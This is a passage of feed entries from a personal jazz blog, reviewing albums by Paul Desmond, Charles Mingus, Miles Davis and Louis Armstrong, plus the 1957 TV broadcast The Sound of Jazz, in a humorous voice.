id="the-bridge-metaphor"><sup class="footnote-definition-label">4</sup> <p>Lest you fear that I might be approaching genuine insight with that comparison, worry not; I stole it wholesale from Avakian's album notes. Why do you think I told you to read them?</p> </div> 2025-08-17T00:00:00+00:00 2025-08-17T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-32/ <p>I am a total sucker for the format of "famous musical group plus full orchestral backing". <em><a rel="external" href="https://en.wikipedia.org/wiki/S%26M_(album)">Symphony &amp; Metallica</a></em>? Oh yeah. <em><a rel="external" href="https://en.wikipedia.org/wiki/Symphonic_Music_of_Yes">Symphonic Music of Yes</a></em>? <em>Hell</em> yes. The critics seem to hate these—Yes's attempt was only good for 1.5/5 stars from AllMusic—but I can't get enough of them. What's not to love? If you're a fan of the band, presumably you already like the original songs—how can you <em>not</em> like hearing them with drama, power, and fullness that only a full symphonic backing can bring?</p> <p>Enter this week: celebrated saxman Paul Desmond is the headliner, but not as part of a quartet—he's joined by a full string section, a harp, and various other philharmonic goodies, as well as <a rel="external" href="https://en.wikipedia.org/wiki/Jim_Hall_(musician)">Jim Hall</a> on guitar (who is consistently fantastic). One of jazz's coolest cats, backed by a classical cast? You can only imagine my anticipation.</p> <p>So it is with great disappointment that I must confess to being somewhat lukewarm on <em>Desmond Blue</em>. It's certainly not <em>bad</em>—"Desmond Blue" (the eponymous track) has some super-spy swagger; I love both the harp at the start of "Autumn Leaves," as well as the Baroque-like intro to "My Funny Valentine"—but as a whole, the package fails to fundamentally excite me.</p> <p>Perhaps I can pin this on a surfeit of strings? Behold my classical hot take: strings—violins in particular—are a tad overrated. Yes, of course they're beautiful, and yes, they can create an unparalleled lushness. But they can't match the sheer bombastic…ness of brass, nor the spitfire of notes churned out by a single piano, nor the tension and suspense of a roaring timpani. This album is billed as an orchestral accompaniment, and while that's technically true, I suppose I feel that this specific instrumentation doesn't evoke the raw power and "wow" factor I was hoping for.</p> <p>Maybe you object that the problem here is Desmond himself, not the string section. After all, I have often professed a weakness for the uptempo; might I be simply rejecting Desmond's cool aesthetic altogether? I think not, and have some evidence on offer. Desmond happens to be one of the most prolific musicians in our corpus of albums: we've heard him both with the Dave Brubeck Quartet on <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-06/">Time Out</a></em> and <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-27/">Jazz Goes to College</a></em>, as well as alongside Gerry Mulligan on <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-14/">Two of a Mind</a></em>. I'd rate all three of those albums as somewhere between "good" and "fantastic"—on each, Desmond impresses not with virtuosic flourishes (à la <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">Charlie Parker</a>), but rather with his utterly entrancing <em>tone</em>. That tone is solid as ever on <em>Desmond Blue</em>, but I find the addition of the strings often veers more towards "cheesy" than "sweeping."</p> <p>Let me put it this way: I was hoping the combination of jazz plus orchestra on this album would be like peanut butter and chocolate—two individually beloved items that somehow combine to exceed the sum of their parts. Instead, <em>Desmond Blue</em> more like… potato chips and popcorn? Again, each great on its own, and put together they're still good—very good, even!—they're just not any better for the marriage.</p> <p><em>Favourite track:</em> Desmond Blue</p> <hr> 2025-08-15T00:00:00+00:00 2025-08-15T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-31/ <p>After 31 weeks of jazz research, I've finally hit upon a foolproof signal to identify the true <em>crème de la crème</em> among jazz albums. It's quite simple, actually: if the cover art is a painting by <a rel="external" href="https://en.wikipedia.org/wiki/S._Neil_Fujita">S. Neil Fujita</a>, the album will be life-changing.<sup class="footnote-reference"><a href="#s-neil-fujita">1</a></sup> Our first such example was <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-06/">Time Out</a></em>, back in week 6—a strong contender for my favourite album of the first half, rivaled primarily by <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-09/">Tijuana Moods</a></em> (also by Mingus!)—and <em>Mingus Ah Um</em><sup class="footnote-reference"><a href="#mingus-ah-um-title">2</a></sup> rivals or exceeds <em>Time Out</em> in my estimation.</p> <p>As such, this album deserves a proper track-by-track commentary. If you want an actually <em>insightful</em> rendition of that premise, allow me to direct you towards <a rel="external" href="https://altrockchick.com/2022/08/14/charles-mingus-mingus-ah-um-classic-music-review/">altrockchick</a>, who artfully blends deep musical insight with relevant historical context. If, on the other hand, you're satisfied with the flaccid pseudo-intellectualism upon which we pride ourselves here at the Simpsonian, don't touch that dial.</p> <h2 id="tracks">Tracks</h2> <h3 id="better-git-it-in-your-soul">Better Git It in Your Soul</h3> <p>If I could only keep one track from <em>everything</em> we've heard so far, this would be it. "Better Git It in Your Soul" is a pure expression of jazz <em>joy:</em> the rhythms are infectious, the melodies are catchy, and Mingus himself can't help but inject some background gospel extemporizations. In the sitcom adaptation of my life, this is theme song—friends appear one at a time in the background, looming like phantoms until we make eye contact and share an "<a rel="external" href="https://i.kym-cdn.com/photos/images/newsfeed/000/313/188/13b.jpg">oh you</a>" look, at which point they make their madcap dash to centre stage as the rapid sax/brass section plays.</p> <p>Far be it from this neophyte to attempt to gatekeep jazz, but if this track doesn't do it for you, I'm not sure anything in the jazz canon will—just as the title proclaims, you better git it in your soul!</p> <h3 id="goodbye-pork-pie-hat">Goodbye Pork Pie Hat</h3> <p>I've noticed that seemingly wacky track titles are not uncommon in jazz (seriously, check out some of the ones on <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">The Jazz Messengers</a></em>); at first blush, I assumed this was another entry in that storied tradition. The truth is far more solemn: a <a rel="external" href="https://en.wikipedia.org/wiki/Pork_pie_hat">pork pie hat</a> simply refers to a style of hat that was popular in the 1930s &amp; 1940s—a style that was particularly favoured by prominent saxophonist <a rel="external" href="https://en.wikipedia.org/wiki/Lester_Young">Lester Young</a>. We touched on one of Young's tragic final performances <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-30/">last week</a>—this composition is a moving elegy to Young, and the first of several references Mingus makes to his musical forebears on this album.</p> <h3 id="boogie-stop-shuffle">Boogie Stop Shuffle</h3> <p>But Mingus doesn't dwell on the tragic; we immediately transition to an upbeat boogie that stays firmly lodged in your eardrums long after the album is done. The piano keeps that line swinging on repeat pretty well throughout the song, while the other voices take turns layering other ideas on top.</p> <h3 id="self-portrait-in-three-colors">Self-Portrait in Three Colors</h3> <p>Mingus again pumps the brakes with another slower, searching track. The title offers a puzzle that's somewhat beyond my discernment: what exactly are the three colours that comprise this self-portrait? I assumed they'd appear "temporally" (i.e., one after the other), but I don't hear any obvious transitions to suggest that. Perhaps each instrument is supposed to be carrying a colour?</p> <h3 id="open-letter-to-duke">Open Letter to Duke</h3> <p>Another fantastic—if somewhat disjointed?—track. We start firmly in upbeat bebop territory, but we don't stay there long: just before the two minute mark (and just after a short drum solo), a theme is introduced that, to me, is the most memorable part of the song—a high note, followed by a rapid "slide" down ending with a slight dissonance that continues to be explored throughout the middle of the track; slowly pulled apart like a confectioner working taffy. When the theme is finally restated at 4:15, it feels unavoidable; a black hole drawing us back to where we started. And yet, it isn't <em>really</em> inevitable—just as we abruptly cut from the hard bop to this section, Mingus takes yet another unexpected turn around 5:10 and discards the dissonance in favour of a jaunty staccato theme to close out the last ~40 seconds. (Wikipedia mentions this track was based on three earlier Mingus compositions; perhaps that explains this track's patchwork nature?)</p> <p>If you've paid even a modicum of attention on our jazz journey, you'll have clocked that the title here is an obvious nod to <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-26/">Duke Ellington</a>, one of America's most-beloved bandleaders. Based on the phrasing of the title, I had assumed this track was antagonistic: a rising star firing a salvo against the old guard; rejecting accepted conventions in favour of blazing new trails. That happens to be completely wrong on all accounts; Ellington was one of the earliest and most formative musical influences on the young Mingus. Later in life they would go on to collaborate professionally, though their time together didn't <a rel="external" href="https://curtjazz.com/2019/03/02/duke-fires-mingus-juans-an-old-problem/">last</a> <a rel="external" href="https://medium.com/cuepoint/the-eloquent-firing-of-charles-mingus-by-duke-ellington-a20dc350e4fa">long</a>…</p> <h3 id="bird-calls">Bird Calls</h3> <p>Aha! A straight bebop composition with "Bird" in the title on an album like this? That's an easy slam dunk; of course it's a reference to <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">Charlie Parker</a>. Except, apparently this is the exception that proves the rule; quoting from <a rel="external" href="https://www.charlesmingus.com/mingus/mingus-explains-song-titles">charlesmingus.com</a>: "It wasn't supposed to sound like Charlie Parker. It was supposed to sound like birds—the first part." Now I'm confused on two counts: first, because that seems utterly implausible—Mingus was dismissive of Parker at first, but eventually came to recognize him as a jazz genius; how could this <em>not</em> be a reference to him? Second, I can hear the bird calls at the very <em>end</em>—but the beginning? Not so much.</p> <h3 id="fables-of-faubus">Fables of Faubus</h3> <p>Another highlight of the album, <em>selon moi</em>. This is also our first taste of Mingus's political side: the titular Faubus is <a rel="external" href="https://en.wikipedia.org/wiki/Orval_Faubus">Orval E. Faubus</a>, best-known for sending in the Arkansas National Guard to prevent black students from attending a local high school (in stark defiance of the Supreme Court's then-recent decision in <em>Brown v. Board of Education</em>). Especially given Mingus's multiracial background, he was (appropriately) pissed off by this stunt, and originally wrote "Fables of Faubus" as what today we would call a diss track. Now, you might be understandably confused as to how a groovin', struttin', but importantly <em>instrumental</em> song might communicate these political overtures, and the answer is (as always) the meddling interference of music executives. "Fables of Faubus" originally <em>did</em> feature lyrics that leave little doubt regarding Mingus's political leanings, but spineless Columbia Records insisted they be removed from the album. Mingus found a way, though—a year later he released <em><a rel="external" href="https://en.wikipedia.org/wiki/Charles_Mingus_Presents_Charles_Mingus">Charles Mingus Presents Charles Mingus</a></em> with the more independent label "Candid," which allowed Mingus to release the track as he had always intended (titled "Original Faubus Fables" on that album—yes, that album is on my "must acquire" shortlist).</p> <h3 id="pussy-cat-dues">Pussy Cat Dues</h3> <p>This track is notable for its changeup in the woodwinds: <a rel="external" href="https://en.wikipedia.org/wiki/John_Handy">John Handy</a> swaps his alto for a clarinet for the only time on this album, and the resulting solo is smooth and cool—somewhat reminiscent of earlier jazz, based purely on that instrumentation (<a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-15/">Benny Goodman</a> comes to mind), but still remaining distinctly modern. (There's another great Mingus solo on this one too—at over nine minutes in length, everyone gets space to have some fun.)</p> <p>Nothing against "Pussy Cat Dues," but for my money the tracks from here on out don't shine quite as brightly as what we've heard already—in context of jazz as a whole, each definitely holds their own, but the best of this album really is a cut above.</p> <h3 id="jelly-roll">Jelly Roll</h3> <p>Yet another homage from Mingus, once more helpfully identified in the title—this time the subject is <a rel="external" href="https://en.wikipedia.org/wiki/Jelly_Roll_Morton">Jelly Roll Morton</a>, one of jazz's earliest performers. (So early, in fact, that he claimed to have invented jazz entirely.) In <em>Myself When I Am Real</em>, Gene Santoro's biography of Mingus, this track is described as an ingenious blending of old and new; in particular, each soloist was asked to play an old-style solo followed by a more modern one. That distinction isn't fully obvious to me, but one thing that is is Mingus's bass lines; he really gets a chance to shine on this one (along with some funky percussion).</p> <p>(I am once again indebted to <a rel="external" href="https://altrockchick.com/2022/08/14/charles-mingus-mingus-ah-um-classic-music-review/">altrockchick</a> for the quotation from Santoro.)</p> <h3 id="pedal-point-blues">Pedal Point Blues</h3> <p><em>(This track onward are all bonus tracks, and not present on the original 1959 release.)</em></p> <p>Here's a track that reminds me my knowledge of music theory is sorely underdeveloped: in general, a <a rel="external" href="https://en.wikipedia.org/wiki/Pedal_point">pedal point</a> is when a single note is held or repeated while a dissonant melody plays over top: the pedal point is a niggling itch, a brooding background tension that demands to be resolved by a shift in the main harmony. Wikipedia is rife with examples, but the one most familiar to my ears is Chopin's "<a rel="external" href="https://www.youtube.com/watch?v=J_6APTb3RNQ">Raindrop Prelude</a>," in which a single repeating A♭ contrasts quite differently with the two melodic sections. Alas, for all my straining, my undiscerning ears fail to find the same effect in "Pedal Point Blues:" there's certainly repetition in the lines of each individual instruments, but I can't find what's static amongst those lines—they all seem to be in motion at once—doesn't that definitionally exclude a "pedal point?"</p> <h3 id="gg-train">GG Train</h3> <p>We've heard "Take the A Train" <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-07/">time</a> and <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-26/">time</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-27/">again</a> already, but this week we have a new challenger in the "NYC subway line <em>cum</em> jazz standard" smackdown: "GG Train."</p> <p>If you're already rabidly composing an email to inform me that, in fact, NYC has no such GG train, you're in need of a history lesson—today's G train was indeed the GG train when Mingus composed this tune; the city bid "gg" to the first "G" in "GG" in 1985.<sup class="footnote-reference"><a href="#train-geeks">3</a></sup> Still, it's good to know that <a rel="external" href="https://www.charlesmingus.com/hsaudio">some things never change</a>:</p> <blockquote> <p>Mirroring the unreliable stop-and-go service of the New York City subway’s GG train (now simply known as the G train), this composition alternates between uptempo and ¼-time ballad sections.</p> </blockquote> <h3 id="girl-of-my-dreams">Girl of My Dreams</h3> <p>This is the only track on the album not composed by Mingus himself; it comes to us by way of Sunny Clapp from all the way back in 1927. "Girl of My Dreams" was a big hit upon its first publication, and has been frequently covered since; here, Mingus's version dispenses with the vocals in favour of some sharp sax lines. Having also listened to some older recordings (e.g., <a rel="external" href="https://archive.org/details/1927-USA-Archives-1927-08-26-Blue-Steele-Orch-Girl-Of-My-Dreams">this one</a>), I really like Mingus's take: he maintains what makes the main melody so beautiful, but injects enough energy to move it from that sonorous, old-timey sound to something fresh and crisp. The tempo changes are a big part of that—we're treated to some dizzying bebop riffs, but everything slows right back down to really accentuate the chorus.</p> <h2 id="conclusion">Conclusion</h2> <p>Whew. A long write-up isn't necessarily a positive one, but all the same—we're now at double what the previous longest article was; it should come as no surprise that I think this album is pretty special. I'm not sure there's any single element I can point out as being the secret sauce; perhaps it's all in the balance: this album is eclectic, but still grounded; it has high-minded compositions, but never forgets to also just be fun. Mingus was known as "the angry man of jazz," but it's clear from <em>Mingus Ah Um</em> that there was far more to him than that.</p> <p>One of my goals with <em>Fifty Weeks of Jazz</em> was to try to find which parts of jazz would really speak to me. 31 weeks in, the two-word reply "Charles Mingus" turns out to be a pretty good answer to that question.</p> <p><em>Favourite track:</em> Better Git It in Your Soul</p> <hr> <div class="footnote-definition" id="s-neil-fujita"><sup class="footnote-definition-label">1</sup> <p>If that's not enough for you, Fujita also designed the covers for <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">The Jazz Messengers</a></em> and <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-29/">’Round About Midnight</a></em>, both of which are <a rel="external" href="https://en.wikipedia.org/wiki/File:RoundAboutMidnightMilesDavis.jpg">pretty damn cool</a>. He then went on to create the iconic marionette design for that cult classic indie movie, The Freakin’ Godfather (!). If you want to learn more about Fujita's life and creative works, I highly recommend perusing Hanna Shibata's incredibly stylish <a rel="external" href="https://hannashibata.github.io/sneilfujita/index.html">homage</a>.</p> </div> <div class="footnote-definition" id="mingus-ah-um-title"><sup class="footnote-definition-label">2</sup> <p>I'd be remiss not to mention where the album title comes from, because once you dispel the intial confusion, it truly is a Simpsonian-certified Work of Comedy. Understanding the joke requires some knowledge of Latin's many suffixes, but don't worry; you've already picked many of them up via latent exposure (e.g., you could distinguish an alumn<i>us</i> from an alumn<i>a</i>, no?) Mingus must've had his share of Latin conjugation lessons back in his day, because this title plays on that: he starts from his own name, <em>Mingus</em> (whose trailing <em>-us</em> happens to put it in proper "masculine nominative" form for an adjective), and like a dutiful child, recites the following related suffixes: <em>-a</em>, <em>-um</em>. Taken all together, we arrive at our titular <em>Mingus Ah Um</em>, though I personally think <em>Mingus, Minga, Mingum</em> would've been even better.</p> </div> <div class="footnote-definition" id="train-geeks"><sup class="footnote-definition-label">3</sup> <p>God I love train geeks. I mean, just look at <a rel="external" href="https://en.wikipedia.org/wiki/G_(New_York_City_Subway_service)">this Wikipedia page</a>: this much-maligned subway line is better chronicled than most nations ever to have graced this earth.</p> </div> 2025-07-31T00:00:00+00:00 2025-07-31T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-30/ <p>Why is nearly every mass-market, commercially-produced creative work so universally crap? You know the answer—perhaps you've lived it—pointy-haired bosses, sticking their noses where they don't belong, rooting madly for pecuniary truffles to sate the unending appetite of beancounters and shareholders alike—all at the expense of preventing the <em>true</em> visionaries from making something special.</p> <p>But, rare as they may be, there are yet exceptions. One such shining example took place in 1957, when one uncompromising TV producer (<a rel="external" href="https://en.wikipedia.org/wiki/Robert_Herridge">Robert Herridge</a>) somehow convinced CBS to give him creative <em>carte blanche</em> in putting together a live, one-hour jazz concert for TV: <em>The Sound of Jazz</em>.</p> <p>Look, technically I should be reviewing <em>The Sound of Jazz</em>, the album recorded from the rehearsal for the TV broadcast. And I generally do prefer the precision and perfectionism that can only really be achieved in the studio. But just as poetry is meant to be appreciated as more than words on paper—it only truly comes alive in our voices—so too jazz ought to be more than just sterile, pristine recordings; it should also be shared, performed, <em>celebrated</em>. So if you happen to have a spare hour, I encourage you to tune in to <em><a rel="external" href="https://archive.org/details/thesoundofjazz1957">The Sound of Jazz</a></em>, the TV program, for yourself. Not only will you hear some great jazz, you'll also get to watch some jazz greats not merely <em>performing</em>, but also luxuriating in both the music and the company of each other. Allow me to take you through my favourite vignettes of the broadcast.</p> <p><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-29/">Last week</a>, we heard from "Philly Joe" Jones on drums. This week we once again have jazz drummer Jo Jones on percussion, who, somewhat surprisingly, is a completely different guy. (He was sometimes nicknamed "Papa" Jo Jones to distinguish him from the younger Philly—despite the 12-year age difference between Philly and Papa, the shared name seems to have imparted a mortal synchronicity: they died within days of each other in 1985.) As it happens, we've encountered Jo Jones before; remember <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">Charlie Parker</a>'s "origin story" of having a cymbal thrown at him during a cutting session gone awry? Yeah, that was Jo Jones. For the life of me, I cannot reconcile that outburst with the happy-go-lucky percussionist featured in <em>The Sound of Jazz</em>. Seriously, how can this <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=906">grinning goof</a> be the same person who "<a rel="external" href="https://www.youtube.com/watch?v=ART5pmT6zro&amp;t=149s">nearly decapitates</a>" Bird?<sup class="footnote-reference"><a href="#fletcher-story">1</a></sup></p> <p>Man, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-11/">Thelonious Monk</a> sticks out like a sore thumb here. Not just in <em>what</em> he plays—though his avant-garde composition "Blue Monk" forms a notable contrast with the other tracks, which lean more toward blues and swing—but also in <em>how</em> he plays the piano. Compare <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-07/">Basie</a> <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=1329">elegantly tickling the ivories</a> while <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-04/">Billie Holiday</a> hovers at his shoulder, with Monk, <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=1443">who pounds the keys like they owe him money</a>. The cameraman knew how to milk this for maximum drama: check out <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=1480">this shot</a> of Basie watching Monk play (seated directly across from each other) and decide for yourself what Basie's thinking in that moment. (Monk <a rel="external" href="https://newrepublic.com/article/72966/thelonious-monk-does">did not take kindly</a> to that stare!)</p> <p>I hadn't even heard of <a rel="external" href="https://en.wikipedia.org/wiki/Jimmy_Giuffre">Giuffre</a> before this, let alone his trio, but their performance of "The Train and the River" is by far my favourite track. Seeing it live only further accentuates the magic: sometimes I find a trio to be a little bare in its sound, but that's not the case here; every time I listen I'm blown away by the depth and richness of texture that they're able to evoke. Note to self: pick up another one of their albums sometime.</p> <p>But the real star of the show is Holiday herself. That she even appears is a minor miracle: the TV execs awoke in a meddlesome mood the day of the performance, and sent a note to the studio: "we must not put into America's homes, especially on Sunday, someone who's been imprisoned for drug use."<sup class="footnote-reference"><a href="#bitter-crop">2</a></sup> Herridge informed them that if Billie was through, so were he and the other key staff. The execs relented, and in doing so created the most heart-wrenching moment of the evening. You see, Holiday had <a rel="external" href="https://www.mosaicrecords.com/lester-young-and-billie-holiday/">a complicated relationship</a> with Lester Young, who was playing saxophone that night: decades before, the two had been frequent collaborators and close friends, but the vicissitudes of time had since pulled them apart. Young was in poor health at this point, and wasn't even expected to stand for his solo—but <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=2139">watch what happens</a> when he gets his moment with Lady Day.</p> <p>There wasn't a dry eye in the control room. Young died within two years; Holiday followed months after.</p> <br> <p>Writing for <em>Harper's</em> magazine, Eric Larrabee proclaimed <em>The Sound of Jazz</em> to be "the best thing that ever happened to television." It's hard to agree with that statement in 2025 (after all, we've had <em>Better Call Saul</em> since), but I think you'd still be hard-pressed to find an introduction to jazz—not just jazz-the-music, but jazz-the-people, jazz-the-<em>culture</em>—better than <em>The Sound of Jazz</em>.<sup class="footnote-reference"><a href="#broadcast-vs-album">3</a></sup></p> <p><em>Favourite track:</em> The Train and the River</p> <hr> <div class="footnote-definition" id="fletcher-story"><sup class="footnote-definition-label">1</sup> <p>In <a rel="external" href="https://www.youtube.com/watch?v=v6lFs5gbv_k">Fletcher's telling</a>, at least.</p> </div> <div class="footnote-definition" id="bitter-crop"><sup class="footnote-definition-label">2</sup> <p>This quotation comes from <em><a rel="external" href="https://www.paulalexander.net/bitter-crop">Bitter Crop</a></em>, by Paul Alexander, which I found via <a rel="external" href="https://www.wbgo.org/music/2024-02-26/the-moving-performance-of-billie-holiday-lester-young-on-the-sound-of-jazz-tv-program">WBGO</a>.</p> </div> <div class="footnote-definition" id="broadcast-vs-album"><sup class="footnote-definition-label">3</sup> <p>I've glossed over it above, but the album version of <em>The Sound of Jazz</em> is somewhat different than the live broadcast; e.g., apparently <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-14/">Gerry Mulligan</a> refused to appear on the former because it didn't pay any extra.</p> </div> 2025-07-27T00:00:00+00:00 2025-07-27T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-29/ <p>We first heard Davis on his best-known album, <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-05/">Kind of Blue</a></em>; this week, with <em>’Round About Midnight</em>, we wind back the clock just a few years before that landmark release. Recall that <em>Kind of Blue</em> was a pioneering exercise in "modal jazz;" by contrast, <em>’Round About Midnight</em> is more transitional: we hear some of Davis' last mainstream work in bebop/hard bop alongside experiments in a "cooler" style that would eventually lead to him advancing the frontiers of jazz.</p> <p>There's lots to love in this album: for me, Davis &amp; Coltrane generally steal the show (their interplay and tone on "Bye Bye Blackbird"—Coltrane's in particular—are a real highlight), but the rest of this "<a rel="external" href="https://en.wikipedia.org/wiki/Miles_Davis_Quintet#First_Great_Quintet/Sextet_(1955%E2%80%9358)">first great quintet</a>" each has their moments too, like the piano at ~5:45 in "All of You," the bass solos in "Little Melonae," or the drums at the end of Budo (which instantly called <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">Art Blakey</a> to mind for me, though it's actually <a rel="external" href="https://en.wikipedia.org/wiki/Philly_Joe_Jones">"Philly Joe" Jones</a>).</p> <p>Of those many delights, the track that particularly stood out to me on first listen was "Ah-Leu-Cha." "Ah-Leu-Cha" is a <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">Charlie Parker</a> composition;<sup class="footnote-reference"><a href="#ah-leu-cha-origin">1</a></sup> we're firmly in bebop territory here (and the lively tempo comes in strong contrast to the relaxed "’Round Midnight" that precedes it). Fascinatingly though, Parker's original recording was noticeably more relaxed than what's on this album—and in at least one live performance, Davis counts the group in on a truly <em>blistering</em> tempo. Listen for yourself (for a simulated K-hole, repeatedly listen to the last one, then immediately drop back down to the first):</p> <ul> <li>Slow (relatively speaking!): <a rel="external" href="https://www.youtube.com/watch?v=uQbWYgmiyFw">original Parker recording</a></li> <li>Medium: <a rel="external" href="https://www.youtube.com/watch?v=XG0iJDrrtw0">’Round About Midnight</a></li> <li><em>Ludicrous</em> speed: <a rel="external" href="https://www.youtube.com/watch?v=sPvybOgo_S0">Miles &amp; Monk at Newport</a> <ul> <li>To me, this one is frenetic but not awful; I'm generally Team Faster Is Better. At least one critic disagrees: as Jack Chambers writes on page 288 of <a rel="external" href="https://archive.org/details/milestonesmusict0000cham/page/n337/mode/2up">his epic biography of Davis</a>: "The sextet's performance is substandard. Davis' most conspicuous contribution comes in tapping out overzealous tempos on all tunes, including a breakneck tempo on Ah-Leu-Cha that reduces the ensemble to shambles."<sup class="footnote-reference"><a href="#chambers-reference">2</a></sup></li> <li>Love it or hate it, this has been on the official Miles Davis YouTube channel for nearly a decade and has hardly 500 views (~1% of which are from me)—that seems wildly low.</li> </ul> </li> </ul> <p>(Hat tip to <a rel="external" href="https://dgmono.com/">Deep Groove Mono</a>, for breaking down the relevant Ah-Leu-Cha history in <a rel="external" href="https://dgmono.com/2021/03/19/origins-of-bop-charlie-parker-miles-davis-ah-leu-cha/">this very helpful post</a>.)</p> <p>Overall, I'm still not sure where to place <em>’Round About Midnight</em>—in many ways, it feels like an album caught between worlds. If I want nothing but hard bop, I'd sooner reach for <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">The Messengers</a>, and if I really want to cool off, there's no beating <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-05/">Kind of Blue</a></em>. But if all you're looking for is some great jazz from a formidable quintet, and you're not too picky on subgenres, you could do a lot worse than <em>’Round About Midnight</em>.</p> <p><em>Favourite track:</em> Ah-Leu-Cha</p> <hr> <div class="footnote-definition" id="ah-leu-cha-origin"><sup class="footnote-definition-label">1</sup> <p>Apparently "Ah-Leu-Cha" is based in part on "Honeysuckle Rose"—which we heard <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-28/">last week</a>—but I can't hear it for the life of me.</p> </div> <div class="footnote-definition" id="chambers-reference"><sup class="footnote-definition-label">2</sup> <p>Brought to my attention by <a rel="external" href="https://jazzprofiles.blogspot.com/">JazzProfiles</a> in <a rel="external" href="https://jazzprofiles.blogspot.com/2012/10/ed-bickert-and-lorne-lofsky-ah-leu-cha.html">this blog post</a> (thanks!). Please forgive my not reading the biography in its entirety—illuminating, I'm sure, but 850 pages is a lot to ask for a weekly post.</p> </div> 2025-07-17T00:00:00+00:00 2025-07-17T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-28/ <p>Well, it's week 28 and we've officially come full circle: ol' Pops was the one to <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-01/">kick this whole thing off</a>, and this week he's back once again. Interestingly, that earlier album and this one were contemporaneous releases as well: <em>Louis Armstrong Plays W. C. Handy</em> helped revive public interest in Armstrong in 1954; <em>Satch Plays Fats</em> was the follow-up in 1955. Overall, I prefer <em>Armstrong Plays W. C. Handy</em>: they both feature stellar vocals and trumpeting from Armstrong, alongside great banter with Velma Middleton on several tracks, but the nearly nine-minute-long "St. Louis Blues" on the <em>Handy</em> album is unparalleled, and the whole thing is chock-full with a sheer joy that I don't think has been matched by anything else we've heard.</p> <p>But beyond that simple comparison, what shall we chew on this week? Regular readers know that there isn't any prescribed structure for a <em>Fifty weeks of jazz</em> entry—perhaps we ought to examine <a rel="external" href="https://en.wikipedia.org/wiki/Fats_Waller">this album's namesake</a>, or the fascinating life of <a rel="external" href="https://en.wikipedia.org/wiki/Andy_Razaf">his chief collaborator</a>? Or what about <a rel="external" href="https://en.wikipedia.org/wiki/George_Avakian">this Avakian fellow</a>, whose name seems to grace every Columbia jazz record; ought we pull back the curtain there? Not to mention the music itself; there's some overlap with a <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-02/">Sarah Vaughan album</a>; perhaps we're due for another <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-24/">Standards Showdown</a>? All good options, but this week I want to zero in on one song in particular: one that hooked me with its intro, but kept me on the line with a linguistic puzzle.</p> <p>Specifically, my favourite track this week is the lively and flirtatious "All That Meat and No Potatoes." I mentioned earlier that I love the banter between Armstrong and Middleton; this track's got it in spades. But the music's just as fun: Armstrong opens with a wide, bright, jaunty riff that he explores while the background instruments each take a turn joining in on the fun. Unsurprisingly, the chorus the really swings—but, ahem, what does the phrase "all that meat and no potatoes" <em>mean</em>, exactly? I'll give you the first half of the lyrics; see if you can figure it out (below, Armstrong's part is bolded):</p> <blockquote> <p>Hey Pops! What’s wrong Daddy?<br> You look like something's botherin’ you<br> <b>There's nothin’ botherin’ me honey<br> That a piece of roast beef can’t fix up</b></p> <p>A man works hard, then comes on home<br> Expects to find stew with that fine ham bone<br> He opens the door, then starts to lookin’<br> <b>Say, woman, what’s this stuff you cookin’?<br></p> <p>Now all that meat and no potatoes<br> It just ain’t right, just like green tomatoes<br></b> Here I’m waitin’<br> Palpitatin’<br> With all that meat <b>and no potatoes</b></p> </blockquote> <p>Pencils down—what did you come up with? Of course, we all know the phrase "meat and potatoes," meaning something plain or pedestrian—but that doesn't seem to quite fit here. "All that meat and <em>no</em> potatoes" suggests a certain imbalance, but in the context of 1940s,<sup class="footnote-reference"><a href="#all-that-meat-first-recording">1</a></sup> that strikes me as a <em>fortuitous</em> one: surely midst WWII you'd happily take a double serving of meat and forego the potatoes?</p> <p>The trick to deciphering this one is to understand that every song from the 1930s to the 1950s<sup class="footnote-reference"><a href="#dirty-food-songs">2</a></sup> that purports to be about food is actually about sex. Through that lens, we realize that Fats isn't really complaining about his dinner (his nickname matched his figure; he hardly seems the type). Rather, he's lamenting that his otherwise buxom ("all that meat") lady friend sports somewhat underdeveloped bazongas ("and no potatoes!")—the breasts, of course, being the most tuberous aspect of the female physique.</p> <p>Don't believe me? I don't blame you; it certainly doesn't seem to agree with certain <a rel="external" href="https://idioms.thefreedictionary.com/all+that+meat+and+no+potatoes">dictionaries of idioms</a>. But whereas other, <a rel="external" 